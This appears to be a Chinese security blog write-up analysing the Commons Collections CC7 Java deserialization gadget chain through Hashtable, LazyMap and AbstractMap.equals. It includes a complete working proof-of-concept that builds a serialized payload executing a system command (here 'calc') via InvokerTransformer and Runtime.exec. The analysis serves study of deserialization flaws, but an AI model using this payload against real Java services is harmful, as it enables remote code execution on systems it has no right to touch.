前言 该链和CC6类似,不过CC7利用链中是使用Hashtable
作为反序列化的入口点。
利用链 1 2 3 4 5 6 7 8 9 10 11 Hashtable.readObject Hashtable.reconstitutionPut Hashtable.reconstitutionPut LazyMap.equals 没实现,找父类 AbstractMapDecorator.equals HashMap.equals 没实现,找父类 AbstractMap.equals LazyMap.get ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
POC分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 package cc7;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { final String[] execArgs = new String []{"calc" }; final Transformer transformerChain = new ChainedTransformer (new Transformer []{}); final Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, execArgs), new ConstantTransformer (1 )}; Map innerMap1 = new HashMap (); Map innerMap2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain,transformers); lazyMap2.remove("yy" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("test1.out" )); objectOutputStream.writeObject(hashtable); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream ("test1.out" )); objectInputStream.readObject(); } }
先看下Hashtable
序列化过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private void writeObject (java.io.ObjectOutputStream s) throws IOException { Entry<Object, Object> entryStack = null ; synchronized (this ) { s.defaultWriteObject(); s.writeInt(table.length); s.writeInt(count); for (int index = 0 ; index < table.length; index++) { Entry<?,?> entry = table[index]; while (entry != null ) { entryStack = new Entry <>(0 , entry.key, entry.value, entryStack); entry = entry.next; } } } while (entryStack != null ) { s.writeObject(entryStack.key); s.writeObject(entryStack.value); entryStack = entryStack.next; } }
Hashtable有一个Entry,?>[]类型的table属性,用于存放元素(键值对)。Hashtable在序列化时会先把table数组的容量和table数组中的元素个数写入到序列化流中,然后将table数组中的元素取出写入到序列化流中。
再来看Hashtable的反序列化流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int )(elements * loadFactor) + (elements / 20 ) + 3 ; if (length > elements && (length & 1 ) == 0 ) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry <?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
Hashtable会先从反序列化流中读取table数组的容量和元素个数,根据origlength 和elements 计算出table数组的length,根据length来创建table数组,然后从反序列化流中依次读取每个元素,再调用reconstitutionPut方法将元素重新放入table数组(Hashtable的table属性),最终完成反序列化。
我们分析一下reconstitutionPut方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到table数组中。
CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。
跟进e.key.equals()
,发现调用的是LazyMap的equals方法,但是LazyMap中并没有equals方法,实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法,虽然AbstractMapDecorator是一个抽象类,但它实现了equals方法。
1 2 3 4 5 6 7 8 public boolean equals (Object object) { if (object == this ) { return true ; } return map.equals(object); }
这里我们通过LazyMap的decorate()方法将HashMap传给了map属性,因此这里会调用HashMap的equals方法。而HashMap中不存在equals方法,但HashMap继承了AbstractMap抽象类,该类中有一个equals方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
其中m对象本质上是一个LazyMap,LazyMap的get方法内部会判断当前传入的key是否已存在,如果不在则会进入if语句中调用transform方法,从而产生漏洞。
1 2 3 4 5 6 7 8 9 10 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
参考 https://blog.csdn.net/qq_35733751/article/details/119862728
https://www.freebuf.com/vuls/330087.html
https://www.cnblogs.com/nice0e3/p/13910833.html